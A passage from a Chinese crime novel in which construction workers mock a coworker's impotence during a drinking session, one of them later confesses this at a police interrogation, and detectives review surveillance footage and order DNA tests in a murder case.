“谁说不是呢,咱们几个每天这么辛苦,不就是为了老婆孩子嘛。”其中一人说,“我老婆在家带着我闺女儿子也不容易,我想着以后正是孩子上学用钱的时候,咱们这行虽然辛苦,但工资还不错,人嘛,总得图一样不是。”
“说的对。”有人附和着,“背井离乡的滋味是真不好受,算一算,月底了,咱们快到发工资的时候了,又快到给老婆转账的日子了。”
“瞧你那点出息,整天三句话不离你老婆,怎么,离开老婆活不成了?”
“那我就是老婆奴,没有媳妇的人生还有什么意义。”
有人连忙出声制止:“嘘!今晚林天成也会来,咱们这话别让他听见。”
李勇军轻声笑道,模样肆意:“听见又怎么了,咱们说咱们的,又没有题名道姓,再说了,没有媳妇的人生确实没有意义啊,你们说是不是?”
“哈哈哈,是是是。”对方举杯,“来,咱们喝一个。”
说罢,几人那杯中白酒喝下去一半。
几人喝了一些,脸就开始泛红,喝了酒的男人总是畅意交谈,想说什么就说什么。
他们话里没有保留,说尽心中的想法。
“你们说,林天成连老婆孩子都没有,他每天这么努力的干活图什么啊?”
“这还真不知道。”
“我也挺好奇。”
“按理说,一个人的日子就是生活,这样更好过,他至于这么每天干到这么晚嘛。”
“他没有老婆孩子,挣的钱该不会花在别的地方了吧哈哈哈。”
“别的地方都没处花,你们忘了,他上次喝醉酒不是说,他那方面不行吗?”有人取笑道,“就算去了那种地方,也改变不了不行的事实。”
“那这日子过的更没意义了哈哈哈。”
几人畅快的喝酒聊天,丝毫未注意到,门口刚刚来到的身影。
林天成此刻推门而入,他来的巧,恰巧听见他们交谈的最后一句话。
他脸色难看,悄无声息的走进来。
他最恨别人说他不是男人,也最恨那晚喝醉酒后将一切和盘托出的自己。
林天成平日里沉默寡言,他老老实实的干着自己的分内工作,却没想到,平日交往的朋友竟然会这样在背后议论自己。
众人见他进来,瞬间止声。
所有人的目光都集中在门口刚进来的身影上。
床上将睡半睡的工友听闻宿舍内鸦雀无声,也都忍不住翘起脑袋观望。
有人眼疾手快,反应迅速道:“天成啊,快来,我们都已经喝上了,就差你了。”
李勇军瞄了对方一眼后,也跟着说:“是啊,大家再怎么说也是朋友一场,你不会介意哥几个没有等你吧?”
他故意将目标转移方向。
几人心里都知道,他进来的太快,刚才说的那繁话他肯定是听到了。
他们也在极力掩饰着。
林天成话也没说,他躲过地上的垃圾,直接坐到一个空座位上,刚才还欢声笑语的宿舍此刻变得沉寂下来。
“怎么不说了?”林天成口吻淡定,又略带着凶狠,“刚才不是聊得挺开心的吗,干嘛这么看着我。”
这时,未参言的一个工友站出来说话:“天成,你别生气,他们就是喝多了酒上头,胡乱说的,也不是成心的。”
“我拿你们当朋友,真是没想到啊,我的朋友在背后嘲笑我的痛。”林天成的牙快要咬碎,他恶狠狠地看着他们,心中满是不甘。
“他们不是故意的,看在大家抬头不见低头见的份上,这事你就别放在心上了。”
“?”他怀疑自己听错,“抬头不见低头见的份上?”
林天成笑了,他憋着心中
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这口气:“这样的朋友还看在什么份上,这种事,小人都不会做。”
听他这样说,有些人坐不住了:“我们就是说了,怎么了?”
他甚至比林天成还要豪横:“这件事是你亲口告诉我们的,嘴长在我们身上,还不让人说了?”
“就是,如果不想让别人说,那就自己谁也别告诉啊。”
李勇军也大胆站出来:“何况我们也没撒谎啊,不行就是不行,一传十十传百,整个工地差不多都知道了吧,他们在背后议论你的时候你知道吗?”
“胡说,我没有不行!”林天成情绪激动起来。
“没有不行?”李勇军说,“那你倒是证明给我们看啊,都是酒后吐真言,你自己说的还能有假。”
“李勇军!”他呵斥道,“我一定会证明给你们看,我是个男人!!!”
“好啊哈哈哈。”
未做过多争执,林天成摔门而入。
回忆结束。
审讯室内,李勇军安静的叙述发生的一切。
他老实交代着:“然后我和他就吵起来了,吵完之后,他就赌气跑出去了,但我没想到他把我车开走了,那,事情就是这样了。”
洛景之和陈佳佳对视一眼,倒是没想到这中间还有这么一段插曲。
他问道:“既然这样,为什么刚开始的时候不说,还故意隐瞒?”
李勇军倒是满脸无辜:“你们也没问啊……”
“你!”
“不是,我就是觉得,如果不是我们几个嘲笑他那方面不行,林天成也不会出去,他也就不会杀人,我就是怕这个杀人案会跟自己扯上关系,所以才——”
他胆怯的看向他们,随后快速转移视线:“没敢说。”
“警察同志,我现在都已经坦白交代了,您帮我跟上面求求情吧。”李勇军此刻只有后悔。
尽管他已经交代,但事情是不是真的他们还得要取证。
洛景之手势着手里头的资料:“如果交代属实,会从轻处理的。”
这件事还未告一段落,两人都心不在焉的走出审讯时。
恰巧这时候,他们迎面对上刚出门回来的张三。
两人瞬间看到新的希望。
张三急匆匆的走来:“老大。”
他急忙问:“怎么样,有发现吗?”
张三喘着粗气:“他没撒谎,23号那天,他确实是出去超市买东西了。”
陈佳佳道:“如果是这样,那他也就排除嫌疑了。”
“但是我总觉得哪里不太对,”张三心中有些疑虑,“所以我让他们吧视频给我考了一份,我调出来给你们看看。”
洛景之和陈佳佳接过手机来,他们盯着屏幕看的入迷,细致入微。
忽而,陈佳佳道:“洛队,你看这儿。”
“这车子开到这儿就消失了。”洛景之又道,“再调其他的。”
“在这儿。”
“这中间消失的两个小时里,也极有可能会走死者经过的地方,他也很有可能在这两个小时的时间里行凶作案。”
“没错。”洛景之说,“两个小时,时间足够了。”
陈佳佳:“林天成说的那么肯定,他肯定也猜到这一点了。这段路上没有监控,我们也没有办法证明就是他杀了林媛媛。”
几人的猜测都得不到证实,而洛景之考虑的,便是如何将猜测变成现实。
他双眸似乎快要吸入屏幕中。
凝视一秒,两秒,三秒……
洛景之突然双眸回神,转头说:“告诉老张,让他验一下林天成和死者的DNA。”
随后他又吩咐,“张三,你去那家超市查一查监控,看看林天成都买了什么。”
他说话干脆利落,似乎在和死神争分夺秒。